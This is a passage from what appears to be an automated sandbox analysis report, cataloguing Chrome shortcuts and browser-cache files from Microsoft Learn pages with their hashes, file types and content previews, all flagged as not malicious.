SHA-256:	FF23F95BAB4F529A031B6D2F8F9401254AEC10A2A98DCF09952E476ADF0259EB
SHA-512:	159424B013D70C923677AF26289B1EA872C507ABC3D692DEB88A351DEBA9A27DA6585D0F1EFDEFCA65252EEF94AF065C71DB23DE337161F179AC798DF38D7016
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....s4..z.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y.z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.z....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y.z....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y.z..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VEW.V............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 14:20:42 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9999293589545166
Encrypted:	false
SSDEEP:	48:8NiUdITUtt/HNidAKZdA1lehDiZUkwqehPy+R:8NYEwdy
MD5:	B64DC790E6F5117E3701CD02150A2200
SHA1:	94CFB7EA3B6DC11447785EE28130A73D2B9EA01D
SHA-256:	1F03A70B1A6363492A777822EF8D182425CF3C20144871EF74F78C2269D2059A
SHA-512:	A51FC76931D84032384AB296FB85796249FCD3EBD3ABA4952841C2533000844089A09FBF970031DA0FB61033E240FE91ED03B3D8CA58A4CCF87684D4CF08C359
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....xm..R......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y.z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.z....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y.z....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y.z..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.z............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 14:20:42 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.99260447138138
Encrypted:	false
SSDEEP:	48:82iUdITUtt/HNidAKZdA17ehBiZUk1W1qehRy+C:82YEA9xy
MD5:	07DF69D836D92EA65ACF3FA41899DCD5
SHA1:	3F52958E5BA3F6527DF16AF3E013A285101B3D2D
SHA-256:	EA3166B7CD8A6C8CAADF281487A0D1C68E018DB0530FDC518512D439A57B2155
SHA-512:	C862C6DA82BCD77EC25A4F8DFD674235D0C41FB8D30C81B1FF8AF6132A9A1CF2AD0F1CFB3E8D07DF290EF2D8802E13B6C874188D60E06653862BC2018891FF29
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........R......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y.z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.z....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y.z....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y.z..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.z............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 14:20:42 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.003479841449099
Encrypted:	false
SSDEEP:	48:85iUdITUtt/HNidAKZdA1duTiehOuTbbiZUk5OjqehOuTbXy+yT+:85YEATLTbxWOvTbXy7T
MD5:	7046672278431F2EADB0D7C5EECE651C
SHA1:	3BA2B1CBE48E385D1C181123FF1E2F81D29FA77D
SHA-256:	04016FFB4D59F11A08E80AF8F9389CA166B2F788D302F05165A72106BDD2967B
SHA-512:	F551375BA4D031184DB0EF4C0F718DCD33BA28A0580DCEA4FDBD374018D93554EBAE8E09AF7145A3B44AF9B59E17CCA3D95F7CAEA232D27823CE3A14C4A72AE3
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......R......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y.z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.z....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y.z....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y.z..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.z............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
